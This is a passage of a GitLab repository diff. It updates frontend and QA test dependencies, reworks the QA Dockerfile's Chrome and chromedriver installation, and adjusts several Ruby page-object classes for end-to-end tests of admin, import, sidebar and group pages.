- "@gitlab/svgs": "1.199.0",
+ "@gitlab/svgs": "1.202.0",
"@gitlab/tributejs": "1.0.0",
- "@gitlab/ui": "29.35.0",
+ "@gitlab/ui": "31.5.0",
"@gitlab/visual-review-tools": "1.6.1",
"@rails/actioncable": "6.1.3-2",
"@rails/ujs": "6.1.3-2",
"@sentry/browser": "5.26.0",
- "@sourcegraph/code-host-integration": "0.0.57",
- "@tiptap/core": "^2.0.0-beta.75",
- "@tiptap/extension-blockquote": "^2.0.0-beta.13",
- "@tiptap/extension-bold": "^2.0.0-beta.13",
- "@tiptap/extension-bullet-list": "^2.0.0-beta.13",
- "@tiptap/extension-code": "^2.0.0-beta.13",
- "@tiptap/extension-code-block-lowlight": "2.0.0-beta.25",
+ "@sourcegraph/code-host-integration": "0.0.58",
+ "@tiptap/core": "^2.0.0-beta.86",
+ "@tiptap/extension-blockquote": "^2.0.0-beta.14",
+ "@tiptap/extension-bold": "^2.0.0-beta.14",
+ "@tiptap/extension-bullet-list": "^2.0.0-beta.14",
+ "@tiptap/extension-code": "^2.0.0-beta.14",
+ "@tiptap/extension-code-block-lowlight": "2.0.0-beta.32",
"@tiptap/extension-document": "^2.0.0-beta.12",
- "@tiptap/extension-dropcursor": "^2.0.0-beta.14",
- "@tiptap/extension-gapcursor": "^2.0.0-beta.17",
- "@tiptap/extension-hard-break": "^2.0.0-beta.13",
- "@tiptap/extension-heading": "^2.0.0-beta.13",
- "@tiptap/extension-history": "^2.0.0-beta.12",
- "@tiptap/extension-horizontal-rule": "^2.0.0-beta.16",
- "@tiptap/extension-image": "^2.0.0-beta.13",
- "@tiptap/extension-italic": "^2.0.0-beta.13",
- "@tiptap/extension-link": "^2.0.0-beta.17",
+ "@tiptap/extension-dropcursor": "^2.0.0-beta.17",
+ "@tiptap/extension-gapcursor": "^2.0.0-beta.18",
+ "@tiptap/extension-hard-break": "^2.0.0-beta.14",
+ "@tiptap/extension-heading": "^2.0.0-beta.14",
+ "@tiptap/extension-history": "^2.0.0-beta.14",
+ "@tiptap/extension-horizontal-rule": "^2.0.0-beta.17",
+ "@tiptap/extension-image": "^2.0.0-beta.14",
+ "@tiptap/extension-italic": "^2.0.0-beta.14",
+ "@tiptap/extension-link": "^2.0.0-beta.18",
"@tiptap/extension-list-item": "^2.0.0-beta.13",
- "@tiptap/extension-ordered-list": "^2.0.0-beta.13",
- "@tiptap/extension-paragraph": "^2.0.0-beta.14",
- "@tiptap/extension-strike": "^2.0.0-beta.15",
+ "@tiptap/extension-ordered-list": "^2.0.0-beta.14",
+ "@tiptap/extension-paragraph": "^2.0.0-beta.15",
+ "@tiptap/extension-strike": "^2.0.0-beta.16",
+ "@tiptap/extension-table": "^2.0.0-beta.25",
+ "@tiptap/extension-table-cell": "^2.0.0-beta.13",
+ "@tiptap/extension-table-header": "^2.0.0-beta.15",
+ "@tiptap/extension-table-row": "^2.0.0-beta.13",
"@tiptap/extension-text": "^2.0.0-beta.12",
- "@tiptap/vue-2": "^2.0.0-beta.34",
+ "@tiptap/vue-2": "^2.0.0-beta.39",
"@toast-ui/editor": "^2.5.2",
"@toast-ui/vue-editor": "^2.5.2",
"apollo-cache-inmemory": "^1.6.6",
@@ -114,7 +121,7 @@
"dateformat": "^4.5.1",
"deckar01-task_list": "^2.3.1",
"diff": "^3.4.0",
- "dompurify": "^2.2.9",
+ "dompurify": "^2.3.0",
"dropzone": "^4.2.0",
"editorconfig": "^0.15.3",
"emoji-regex": "^7.0.3",
@@ -141,10 +148,11 @@
"mathjax": "3",
"mermaid": "^8.10.2",
"minimatch": "^3.0.4",
- "monaco-editor": "^0.20.0",
- "monaco-editor-webpack-plugin": "^1.9.1",
+ "monaco-editor": "^0.25.2",
+ "monaco-editor-webpack-plugin": "^4.0.0",
"monaco-yaml": "^2.5.1",
"mousetrap": "1.6.5",
+ "papaparse": "^5.3.1",
"pdfjs-dist": "^2.0.943",
"pikaday": "^1.8.0",
"popper.js": "^1.16.1",
@@ -153,6 +161,7 @@
"prosemirror-inputrules": "^1.1.3",
"prosemirror-markdown": "^1.5.1",
"prosemirror-model": "^1.13.3",
+ "prosemirror-state": "^1.3.4",
"raphael": "^2.2.7",
"raw-loader": "^4.0.2",
"scrollparent": "^2.0.1",
@@ -192,7 +201,7 @@
},
"devDependencies": {
"@babel/plugin-transform-modules-commonjs": "^7.10.1",
- "@gitlab/eslint-plugin": "8.4.0",
+ "@gitlab/eslint-plugin": "9.0.2",
"@gitlab/stylelint-config": "2.3.0",
"@testing-library/dom": "^7.16.2",
"@vue/test-utils": "1.2.0",
@@ -206,7 +215,7 @@
"commander": "^2.18.0",
"custom-jquery-matchers": "^2.1.0",
"docdash": "^1.0.2",
- "eslint": "7.28.0",
+ "eslint": "7.31.0",
"eslint-import-resolver-jest": "3.0.0",
"eslint-import-resolver-webpack": "0.13.1",
"eslint-plugin-jasmine": "4.1.2",
@@ -244,6 +253,8 @@
"nodemon": "^2.0.4",
"postcss": "^7.0.14",
"prettier": "2.2.1",
+ "prosemirror-schema-basic": "^1.1.2",
+ "prosemirror-test-builder": "^1.0.4",
"purgecss": "^4.0.3",
"purgecss-from-html": "^4.0.3",
"readdir-enhanced": "^2.2.4",
@@ -260,7 +271,7 @@
},
"resolutions": {
"chokidar": "^3.4.0",
- "monaco-editor": "0.20.0"
+ "monaco-editor": "0.24.0"
},
"engines": {
"node": ">=10.13.0",
diff --git a/qa/Dockerfile b/qa/Dockerfile
index 81f207cbab9..ad4bffb3bf2 100644
--- a/qa/Dockerfile
+++ b/qa/Dockerfile
@@ -3,10 +3,6 @@ LABEL maintainer="GitLab Quality Department <quality@gitlab.com>"
ENV DEBIAN_FRONTEND="noninteractive"
ENV DOCKER_VERSION="17.09.0-ce"
-ENV CHROME_VERSION="87.0.4280.141-1"
-ENV CHROME_DRIVER_VERSION="87.0.4280.88"
-ENV CHROME_DEB="google-chrome-stable_${CHROME_VERSION}_amd64.deb"
-ENV CHROME_URL="https://s3.amazonaws.com/gitlab-google-chrome-stable/${CHROME_DEB}"
##
# Update APT sources and install dependencies
@@ -22,22 +18,6 @@ RUN wget -q "https://download.docker.com/linux/static/stable/x86_64/docker-${DOC
rm "docker-${DOCKER_VERSION}.tgz"
##
-# Install Google Chrome version with headless support
-# Download from our local S3 bucket, populated by https://gitlab.com/gitlab-org/gitlab-build-images/-/blob/master/scripts/cache-google-chrome
-#
-RUN curl --silent --show-error --fail -O "${CHROME_URL}" && \
- dpkg -i "./${CHROME_DEB}" || true && \
- apt-get install -f -y && \
- rm -f "./${CHROME_DEB}"
-
-##
-# Install chromedriver to make it work with Selenium
-#
-RUN wget -q "https://chromedriver.storage.googleapis.com/${CHROME_DRIVER_VERSION}/chromedriver_linux64.zip"
-RUN unzip chromedriver_linux64.zip -d /usr/local/bin
-RUN rm -f chromedriver_linux64.zip
-
-##
# Install client certificate - Bug in Chrome Headless: https://gitlab.com/gitlab-org/gitlab/-/issues/331492
#
# RUN apt install -y libnss3-tools
@@ -66,8 +46,32 @@ RUN export CLOUD_SDK_REPO="cloud-sdk-$(lsb_release -c -s)" && \
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add - && \
apt-get update -y && apt-get install google-cloud-sdk kubectl -y
+##
+# Install Google Chrome version with headless support
+# Download from our local S3 bucket, populated by https://gitlab.com/gitlab-org/gitlab-build-images/-/blob/master/scripts/cache-google-chrome
+#
+# https://s3.amazonaws.com/gitlab-google-chrome-stable
+ENV CHROME_VERSION="91.0.4472.77-1"
+ENV CHROME_DEB="google-chrome-stable_${CHROME_VERSION}_amd64.deb"
+ENV CHROME_URL="https://s3.amazonaws.com/gitlab-google-chrome-stable/${CHROME_DEB}"
+RUN curl --silent --show-error --fail -O "${CHROME_URL}" && \
+ dpkg -i "./${CHROME_DEB}" || true && \
+ apt-get install -f -y && \
+ rm -f "./${CHROME_DEB}"
+
WORKDIR /home/gitlab/qa
+
+# Install qa dependencies or fetch from cache if unchanged
COPY ./qa/Gemfile* /home/gitlab/qa/
+RUN bundle install --jobs=$(nproc) --retry=3 --without=development --quiet
+
+##
+# Fetch chromedriver based on version of chrome
+# Copy rakefile first so that webdriver is not reinstalled on every code change
+# https://github.com/titusfortner/webdrivers
+COPY ./qa/tasks/webdrivers.rake /home/gitlab/qa/tasks/
+RUN bundle exec rake -f tasks/webdrivers.rake webdrivers:chromedriver:update
+
COPY ./config/initializers/0_inject_enterprise_edition_module.rb /home/gitlab/config/initializers/
# Copy VERSION to ensure the COPY succeeds to copy at least one file since ee/app/models/license.rb isn't present in FOSS
# The [b] part makes ./ee/app/models/license.r[b] a pattern that is allowed to return no files (which is the case in FOSS)
@@ -75,7 +79,7 @@ COPY VERSION ./ee/app/models/license.r[b] /home/gitlab/ee/app/models/
COPY ./lib/gitlab.rb /home/gitlab/lib/
COPY ./lib/gitlab/utils.rb /home/gitlab/lib/gitlab/
COPY ./INSTALLATION_TYPE ./VERSION /home/gitlab/
-RUN cd /home/gitlab/qa/ && bundle install --jobs=$(nproc) --retry=3 --without=development --quiet
+
COPY ./qa /home/gitlab/qa
ENTRYPOINT ["bin/test"]
diff --git a/qa/Gemfile b/qa/Gemfile
index 0cb53ca99dc..ff2074b6191 100644
--- a/qa/Gemfile
+++ b/qa/Gemfile
@@ -9,7 +9,7 @@ gem 'capybara', '~> 3.29.0'
gem 'capybara-screenshot', '~> 1.0.23'
gem 'rake', '~> 12.3.3'
gem 'rspec', '~> 3.7'
-gem 'selenium-webdriver', '~> 3.12'
+gem 'selenium-webdriver', '~> 4.0.0.beta4'
gem 'airborne', '~> 0.3.4'
gem 'rest-client', '~> 2.1.0'
gem 'nokogiri', '~> 1.11.1'
@@ -22,9 +22,10 @@ gem 'rotp', '~> 3.1.0'
gem 'timecop', '~> 0.9.1'
gem 'parallel', '~> 1.19'
gem 'rspec-parameterized', '~> 0.4.2'
-gem 'github_api', '~> 0.18.2'
+gem "octokit", "~> 4.21"
+gem "webdrivers", "~> 4.6"
-gem 'chemlab', '~> 0.5'
+gem 'chemlab', '~> 0.7'
gem 'chemlab-library-www-gitlab-com', '~> 0.1'
group :development do
diff --git a/qa/Gemfile.lock b/qa/Gemfile.lock
index 8b6c4ca0d3e..47dd5ac118e 100644
--- a/qa/Gemfile.lock
+++ b/qa/Gemfile.lock
@@ -19,10 +19,10 @@ GEM
rack-test (>= 1.1.0, < 2.0)
rest-client (>= 2.0.2, < 3.0)
rspec (~> 3.8)
- allure-rspec (2.14.1)
- allure-ruby-commons (= 2.14.1)
+ allure-rspec (2.14.2)
+ allure-ruby-commons (= 2.14.2)
rspec-core (>= 3.8, < 4)
- allure-ruby-commons (2.14.1)
+ allure-ruby-commons (2.14.2)
mime-types (>= 3.3, < 4)
oj (>= 3.10, < 4)
require_all (>= 2, < 4)
@@ -41,43 +41,51 @@ GEM
capybara-screenshot (1.0.23)
capybara (>= 1.0, < 4)
launchy
- chemlab (0.5.0)
- rake (~> 12.3.0)
- selenium-webdriver (~> 3.12)
- watir (~> 6.17)
+ chemlab (0.7.2)
+ colorize (~> 0.8)
+ i18n (~> 1.8)
+ rake (>= 12, < 14)
+ selenium-webdriver (>= 3, < 5)
+ watir (>= 6, < 8)
chemlab-library-www-gitlab-com (0.1.1)
chemlab (~> 0.4)
- childprocess (3.0.0)
+ childprocess (4.1.0)
coderay (1.1.2)
+ colorize (0.8.1)
concord (0.1.5)
adamantium (~> 0.2.0)
equalizer (~> 0.0.9)
- concurrent-ruby (1.1.8)
- descendants_tracker (0.0.4)
- thread_safe (~> 0.3, >= 0.3.1)
+ concurrent-ruby (1.1.9)
diff-lcs (1.3)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
equalizer (0.0.11)
faker (1.9.3)
i18n (>= 0.7)
- faraday (0.17.3)
+ faraday (1.5.1)
+ faraday-em_http (~> 1.0)
+ faraday-em_synchrony (~> 1.0)
+ faraday-excon (~> 1.1)
+ faraday-httpclient (~> 1.0.1)
+ faraday-net_http (~> 1.0)
+ faraday-net_http_persistent (~> 1.1)
+ faraday-patron (~> 1.0)
multipart-post (>= 1.2, < 3)
- github_api (0.18.2)
- addressable (~> 2.4)
- descendants_tracker (~> 0.0.4)
- faraday (~> 0.8)
- hashie (~> 3.5, >= 3.5.2)
- oauth2 (~> 1.0)
+ ruby2_keywords (>= 0.0.4)
+ faraday-em_http (1.0.0)
+ faraday-em_synchrony (1.0.0)
+ faraday-excon (1.1.0)
+ faraday-httpclient (1.0.1)
+ faraday-net_http (1.0.1)
+ faraday-net_http_persistent (1.2.0)
+ faraday-patron (1.0.0)
gitlab-qa (4.0.0)
- hashie (3.6.0)
http-accept (1.7.0)
http-cookie (1.0.3)
domain_name (~> 0.5)
i18n (1.8.10)
concurrent-ruby (~> 1.0)
ice_nine (0.11.2)
- jwt (2.2.2)
knapsack (1.17.1)
rake
launchy (2.4.3)
@@ -89,24 +97,19 @@ GEM
method_source (0.9.0)
mime-types (3.3.1)
mime-types-data (~> 3.2015)
- mime-types-data (3.2020.0425)
+ mime-types-data (3.2021.0704)
mini_mime (1.0.2)
mini_portile2 (2.5.0)
minitest (5.14.4)
- multi_json (1.15.0)
- multi_xml (0.6.0)
multipart-post (2.1.1)
netrc (0.11.0)
nokogiri (1.11.1)
mini_portile2 (~> 2.5.0)
racc (~> 1.4)
- oauth2 (1.4.4)
- faraday (>= 0.8, < 2.0)
- jwt (>= 1.0, < 3.0)
- multi_json (~> 1.3)
- multi_xml (~> 0.5)
- rack (>= 1.2, < 3)
- oj (3.11.5)
+ octokit (4.21.0)
+ faraday (>= 0.9)
+ sawyer (~> 0.8.0, >= 0.5.3)
+ oj (3.12.1)
parallel (1.19.2)
parallel_tests (2.29.0)
parallel
@@ -129,19 +132,20 @@ GEM
rack-test (1.1.0)
rack (>= 1.0, < 3)
rake (12.3.3)
- regexp_parser (1.6.0)
+ regexp_parser (1.8.2)
require_all (3.0.0)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
+ rexml (3.2.5)
rotp (3.1.0)
rspec (3.9.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
- rspec-core (3.9.2)
+ rspec-core (3.9.3)
rspec-support (~> 3.9.3)
rspec-expectations (3.9.1)
diff-lcs (>= 1.2.0, < 2.0)
@@ -157,14 +161,19 @@ GEM
unparser
rspec-retry (0.6.1)
rspec-core (> 3.3)
- rspec-support (3.9.3)
+ rspec-support (3.9.4)
rspec_junit_formatter (0.4.1)
rspec-core (>= 2, < 4, != 2.12.0)
ruby-debug-ide (0.7.2)
rake (>= 0.8.1)
- rubyzip (1.3.0)
- selenium-webdriver (3.142.6)
- childprocess (>= 0.5, < 4.0)
+ ruby2_keywords (0.0.4)
+ rubyzip (2.3.2)
+ sawyer (0.8.2)
+ addressable (>= 2.3.5)
+ faraday (> 0.8, < 2.0)
+ selenium-webdriver (4.0.0.beta4)
+ childprocess (>= 0.5, < 5.0)
+ rexml (~> 3.2)
rubyzip (>= 1.2.2)
systemu (2.6.5)
thread_safe (0.3.6)
@@ -184,9 +193,13 @@ GEM
procto (~> 0.0.2)
uuid (2.3.9)
macaddr (~> 1.0)
- watir (6.18.0)
+ watir (6.19.1)
regexp_parser (>= 1.2, < 3)
- selenium-webdriver (>= 3.8)
+ selenium-webdriver (>= 3.142.7)
+ webdrivers (4.6.0)
+ nokogiri (~> 1.6)
+ rubyzip (>= 1.3.0)
+ selenium-webdriver (>= 3.0, < 4.0)
xpath (3.2.0)
nokogiri (~> 1.8)
zeitwerk (2.4.2)
@@ -200,13 +213,13 @@ DEPENDENCIES
allure-rspec (~> 2.14.1)
capybara (~> 3.29.0)
capybara-screenshot (~> 1.0.23)
- chemlab (~> 0.5)
+ chemlab (~> 0.7)
chemlab-library-www-gitlab-com (~> 0.1)
faker (~> 1.6, >= 1.6.6)
- github_api (~> 0.18.2)
gitlab-qa
knapsack (~> 1.17)
nokogiri (~> 1.11.1)
+ octokit (~> 4.21)
parallel (~> 1.19)
parallel_tests (~> 2.29)
pry-byebug (~> 3.5.1)
@@ -218,8 +231,9 @@ DEPENDENCIES
rspec-retry (~> 0.6.1)
rspec_junit_formatter (~> 0.4.1)
ruby-debug-ide (~> 0.7.0)
- selenium-webdriver (~> 3.12)
+ selenium-webdriver (~> 4.0.0.beta4)
timecop (~> 0.9.1)
+ webdrivers (~> 4.6)
BUNDLED WITH
- 2.1.4
+ 2.2.22
diff --git a/qa/Rakefile b/qa/Rakefile
index 0a040f0aee7..f24c81a9ec2 100644
--- a/qa/Rakefile
+++ b/qa/Rakefile
@@ -1,4 +1,7 @@
# frozen_string_literal: true
+# rubocop:disable Rails/RakeEnvironment
+
+load 'tasks/webdrivers.rake'
require_relative 'qa/tools/revoke_all_personal_access_tokens'
require_relative 'qa/tools/delete_subgroups'
@@ -34,7 +37,9 @@ task :run_artillery_load_tests do
urls_file = ENV['URLS_FILE_PATH'] || 'urls.yml'
unless File.exist?(urls_file)
- raise "\n#{urls_file} file is missing. Please provide correct URLS_FILE_PATH or all of HOST_URL, LARGE_ISSUE_URL and LARGE_MR_URL\n\n"
+ raise(<<~ERR)
+ #{urls_file} file is missing. Please provide correct URLS_FILE_PATH or all of HOST_URL, LARGE_ISSUE_URL and LARGE_MR_URL\n
+ ERR
end
urls = YAML.safe_load(File.read(urls_file))
@@ -59,3 +64,4 @@ desc "Deletes projects directly under the provided group"
task :delete_projects do
QA::Tools::DeleteProjects.new.run
end
+# rubocop:enable Rails/RakeEnvironment
diff --git a/qa/qa.rb b/qa/qa.rb
index aad40666065..566effb3cd9 100644
--- a/qa/qa.rb
+++ b/qa/qa.rb
@@ -79,6 +79,7 @@ module QA
autoload :GroupLabel, 'qa/resource/group_label'
autoload :MergeRequest, 'qa/resource/merge_request'
autoload :ProjectImportedFromGithub, 'qa/resource/project_imported_from_github'
+ autoload :ProjectImportedFromURL, 'qa/resource/project_imported_from_url'
autoload :MergeRequestFromFork, 'qa/resource/merge_request_from_fork'
autoload :DeployKey, 'qa/resource/deploy_key'
autoload :DeployToken, 'qa/resource/deploy_token'
@@ -87,6 +88,7 @@ module QA
autoload :CiVariable, 'qa/resource/ci_variable'
autoload :Runner, 'qa/resource/runner'
autoload :PersonalAccessToken, 'qa/resource/personal_access_token'
+ autoload :PersonalAccessTokenCache, 'qa/resource/personal_access_token_cache'
autoload :ProjectAccessToken, 'qa/resource/project_access_token'
autoload :User, 'qa/resource/user'
autoload :ProjectMilestone, 'qa/resource/project_milestone'
@@ -106,6 +108,7 @@ module QA
autoload :RegistryRepository, 'qa/resource/registry_repository'
autoload :Package, 'qa/resource/package'
autoload :PipelineSchedules, 'qa/resource/pipeline_schedules'
+ autoload :ImportProject, 'qa/resource/import_project'
module KubernetesCluster
autoload :Base, 'qa/resource/kubernetes_cluster/base'
@@ -169,6 +172,7 @@ module QA
autoload :ObjectStorage, 'qa/scenario/test/integration/object_storage'
autoload :SMTP, 'qa/scenario/test/integration/smtp'
autoload :SSHTunnel, 'qa/scenario/test/integration/ssh_tunnel'
+ autoload :Registry, 'qa/scenario/test/integration/registry'
end
module Sanity
@@ -287,6 +291,7 @@ module QA
module Import
autoload :Github, 'qa/page/project/import/github'
+ autoload :RepoByURL, 'qa/page/project/import/repo_by_url'
end
module Pipeline
@@ -295,6 +300,10 @@ module QA
autoload :New, 'qa/page/project/pipeline/new'
end
+ module PipelineEditor
+ autoload :Show, 'qa/page/project/pipeline_editor/show'
+ end
+
module Tag
autoload :Index, 'qa/page/project/tag/index'
autoload :New, 'qa/page/project/tag/new'
@@ -330,6 +339,7 @@ module QA
autoload :MergeRequest, 'qa/page/project/settings/merge_request'
autoload :MirroringRepositories, 'qa/page/project/settings/mirroring_repositories'
autoload :ProtectedTags, 'qa/page/project/settings/protected_tags'
+ autoload :DefaultBranch, 'qa/page/project/settings/default_branch'
autoload :VisibilityFeaturesPermissions, 'qa/page/project/settings/visibility_features_permissions'
autoload :AccessTokens, 'qa/page/project/settings/access_tokens'
@@ -529,6 +539,11 @@ module QA
autoload :CommitModal, 'qa/page/component/commit_modal'
autoload :VisibilitySetting, 'qa/page/component/visibility_setting'
+ module Import
+ autoload :Gitlab, 'qa/page/component/import/gitlab'
+ autoload :Selection, 'qa/page/component/import/selection'
+ end
+
module Issuable
autoload :Common, 'qa/page/component/issuable/common'
autoload :Sidebar, 'qa/page/component/issuable/sidebar'
@@ -585,6 +600,7 @@ module QA
autoload :Minikube, 'qa/service/cluster_provider/minikube'
autoload :K3d, 'qa/service/cluster_provider/k3d'
autoload :K3s, 'qa/service/cluster_provider/k3s'
+ autoload :K3sCilium, 'qa/service/cluster_provider/k3s_cilium'
end
module DockerRun
diff --git a/qa/qa/fixtures/export.tar.gz b/qa/qa/fixtures/export.tar.gz
new file mode 100644
index 00000000000..08e4f0c9c43
--- /dev/null
+++ b/qa/qa/fixtures/export.tar.gz
Binary files differ
diff --git a/qa/qa/page/admin/overview/users/show.rb b/qa/qa/page/admin/overview/users/show.rb
index f455bd31d14..be73f3d80bf 100644
--- a/qa/qa/page/admin/overview/users/show.rb
+++ b/qa/qa/page/admin/overview/users/show.rb
@@ -11,12 +11,25 @@ module QA
end
view 'app/views/admin/users/show.html.haml' do
- element :confirm_user_button
element :user_id_content
end
- view 'app/views/admin/users/_approve_user.html.haml' do
+ view 'app/assets/javascripts/admin/users/components/actions/approve.vue' do
element :approve_user_button
+ element :approve_user_confirm_button
+ end
+
+ view 'app/assets/javascripts/admin/users/components/user_actions.vue' do
+ element :user_actions_dropdown_toggle
+ end
+
+ view 'app/helpers/users_helper.rb' do
+ element :confirm_user_button
+ element :confirm_user_confirm_button
+ end
+
+ def open_user_actions_dropdown(user)
+ click_element(:user_actions_dropdown_toggle, username: user.username)
end
def click_impersonate_user
@@ -28,15 +41,14 @@ module QA
end
def confirm_user
- accept_confirm do
- click_element :confirm_user_button
- end
+ click_element :confirm_user_button
+ click_element :confirm_user_confirm_button
end
- def approve_user
- accept_confirm do
- click_element :approve_user_button
- end
+ def approve_user(user)
+ open_user_actions_dropdown(user)
+ click_element :approve_user_button
+ click_element :approve_user_confirm_button
end
end
end
diff --git a/qa/qa/page/base.rb b/qa/qa/page/base.rb
index 66040bb9849..6b54d8ab1ac 100644
--- a/qa/qa/page/base.rb
+++ b/qa/qa/page/base.rb
@@ -104,7 +104,8 @@ module QA
end
def find_element(name, **kwargs)
- wait_for_requests
+ skip_finished_loading_check = kwargs.delete(:skip_finished_loading_check)
+ wait_for_requests(skip_finished_loading_check: skip_finished_loading_check)
element_selector = element_selector_css(name, reject_capybara_query_keywords(kwargs))
find(element_selector, only_capybara_query_keywords(kwargs))
@@ -196,7 +197,8 @@ module QA
# replace with (..., page = self.class)
def click_element(name, page = nil, **kwargs)
- wait_for_requests
+ skip_finished_loading_check = kwargs.delete(:skip_finished_loading_check)
+ wait_for_requests(skip_finished_loading_check: skip_finished_loading_check)
wait = kwargs.delete(:wait) || Capybara.default_max_wait_time
text = kwargs.delete(:text)
diff --git a/qa/qa/page/component/import/gitlab.rb b/qa/qa/page/component/import/gitlab.rb
new file mode 100644
index 00000000000..2fd2a45b399
--- /dev/null
+++ b/qa/qa/page/component/import/gitlab.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Component
+ module Import
+ module Gitlab
+ def self.included(base)
+ super
+
+ base.view 'app/views/import/gitlab_projects/new.html.haml' do
+ element :import_project_button
+ end
+
+ base.view 'app/views/import/shared/_new_project_form.html.haml' do
+ element :project_name_field
+ element :project_slug_field
+ end
+ end
+
+ def set_imported_project_name(name)
+ fill_element(:project_name_field, name)
+ end
+
+ def attach_exported_file(path)
+ page.attach_file("file", path, make_visible: { display: 'block' })
+ end
+
+ def click_import_gitlab_project
+ click_element(:import_project_button)
+
+ wait_until(reload: false) do
+ has_notice?("The project was successfully imported.")
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/component/import/selection.rb b/qa/qa/page/component/import/selection.rb
new file mode 100644
index 00000000000..6cacdd84f13
--- /dev/null
+++ b/qa/qa/page/component/import/selection.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Component
+ module Import
+ module Selection
+ def self.included(base)
+ super
+
+ base.view 'app/views/projects/_import_project_pane.html.haml' do
+ element :gitlab_import_button
+ end
+ end
+
+ def click_gitlab
+ click_element(:gitlab_import_button)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/component/invite_members_modal.rb b/qa/qa/page/component/invite_members_modal.rb
index 9883ef22029..7cec4588af5 100644
--- a/qa/qa/page/component/invite_members_modal.rb
+++ b/qa/qa/page/component/invite_members_modal.rb
@@ -19,6 +19,10 @@ module QA
element :group_select_dropdown_search_field
end
+ base.view 'app/assets/javascripts/invite_members/components/members_token_select.vue' do
+ element :members_token_select_input
+ end
+
base.view 'app/assets/javascripts/invite_members/components/invite_group_trigger.vue' do
element :invite_a_group_button
end
@@ -42,7 +46,7 @@ module QA
within_element(:invite_members_modal_content) do
fill_element :access_level_dropdown, with: access_level
- fill_in 'Select members or type email addresses', with: username
+ fill_element :members_token_select_input, username
Support::WaitForRequests.wait_for_requests
diff --git a/qa/qa/page/component/issuable/sidebar.rb b/qa/qa/page/component/issuable/sidebar.rb
index 3a9d316c321..971e7634f6d 100644
--- a/qa/qa/page/component/issuable/sidebar.rb
+++ b/qa/qa/page/component/issuable/sidebar.rb
@@ -40,16 +40,22 @@ module QA
base.view 'app/views/shared/issuable/_sidebar.html.haml' do
element :assignee_block
- element :edit_milestone_link
element :milestone_block
- element :milestone_link
+ end
+
+ base.view 'app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue' do
+ element :milestone_link, 'data-qa-selector="`${issuableAttribute}_link`"' # rubocop:disable QA/ElementWithPattern
+ end
+
+ base.view 'app/assets/javascripts/sidebar/components/sidebar_editable_item.vue' do
+ element :edit_link
end
end
def assign_milestone(milestone)
- click_element(:edit_milestone_link)
within_element(:milestone_block) do
- click_link("#{milestone.title}")
+ click_element(:edit_link)
+ click_on(milestone.title)
end
wait_until(reload: false) do
@@ -89,7 +95,7 @@ module QA
def has_milestone?(milestone_title)
wait_milestone_block_finish_loading do
- has_element?(:milestone_link, title: milestone_title)
+ has_element?(:milestone_link, text: milestone_title)
end
end
diff --git a/qa/qa/page/dashboard/snippet/edit.rb b/qa/qa/page/dashboard/snippet/edit.rb
index cd8ac77ae04..939413f6d76 100644
--- a/qa/qa/page/dashboard/snippet/edit.rb
+++ b/qa/qa/page/dashboard/snippet/edit.rb
@@ -23,7 +23,8 @@ module QA
end
def add_to_file_content(content)
- text_area.set content
+ text_area.click
+ text_area.send_keys(:home, content) # starts in the beginning of the line
text_area.has_text?(content) # wait for changes to take effect
end
diff --git a/qa/qa/page/group/bulk_import.rb b/qa/qa/page/group/bulk_import.rb
index 11741bdf4cb..a0511c9a16c 100644
--- a/qa/qa/page/group/bulk_import.rb
+++ b/qa/qa/page/group/bulk_import.rb
@@ -10,12 +10,15 @@ module QA
view "app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue" do
element :import_item
- element :target_namespace_selector_dropdown
element :target_group_dropdown_item
element :import_status_indicator
element :import_group_button
end
+ view "app/assets/javascripts/import_entities/components/group_dropdown.vue" do
+ element :target_namespace_selector_dropdown
+ end
+
# Import source group in to target group
#
# @param [String] source_group_name
diff --git a/qa/qa/page/group/menu.rb b/qa/qa/page/group/menu.rb
index 9a3b129b6d2..338a135614d 100644
--- a/qa/qa/page/group/menu.rb
+++ b/qa/qa/page/group/menu.rb
@@ -6,7 +6,7 @@ module QA
class Menu < Page::Base
include SubMenus::Common
- view 'app/views/layouts/nav/sidebar/_group.html.haml' do
+ view 'app/views/layouts/nav/sidebar/_group_menus.html.haml' do
element :general_settings_link
element :group_issues_item
element :group_members_item
diff --git a/qa/qa/page/group/new.rb b/qa/qa/page/group/new.rb
index 66afcf7547c..c24712b9418 100644
--- a/qa/qa/page/group/new.rb
+++ b/qa/qa/page/group/new.rb
@@ -21,6 +21,10 @@ module QA
element :connect_instance_button
end
+ view 'app/assets/javascripts/vue_shared/new_namespace/components/welcome.vue' do
+ element :panel_link
+ end
+
def set_path(path)
fill_element(:group_path_field, path)
fill_element(:group_name_field, path)
@@ -62,7 +66,7 @@ module QA
end
def switch_to_import_tab
- click_element("import-group-pane_link")
+ click_element(:panel_link, panel_name: 'import-group-pane')
end
end
end
diff --git a/qa/qa/page/group/settings/general.rb b/qa/qa/page/group/settings/general.rb
index 4977e5c7105..2e7ab131225 100644
--- a/qa/qa/page/group/settings/general.rb
+++ b/qa/qa/page/group/settings/general.rb
@@ -38,7 +38,7 @@ module QA
element :project_creation_level_dropdown
end
- view 'app/views/groups/settings/_advanced.html.haml' do
+ view 'app/views/groups/settings/_transfer.html.haml' do
element :select_group_dropdown
element :transfer_group_button
end
diff --git a/qa/qa/page/group/sub_menus/common.rb b/qa/qa/page/group/sub_menus/common.rb
index 86102f70d29..2f8a3fdeb4e 100644
--- a/qa/qa/page/group/sub_menus/common.rb
+++ b/qa/qa/page/group/sub_menus/common.rb
@@ -12,8 +12,8 @@ module QA
super
base.class_eval do
- view 'app/views/layouts/nav/sidebar/_group.html.haml' do
- element :group_sidebar
+ view 'app/views/shared/nav/_sidebar.html.haml' do
+ element :group_sidebar, 'qa_selector: sidebar_qa_selector(sidebar.container)' # rubocop:disable QA/ElementWithPattern
end
end
end
diff --git a/qa/qa/page/main/login.rb b/qa/qa/page/main/login.rb
index 3b3057a9acb..2c7ce69e4e5 100644
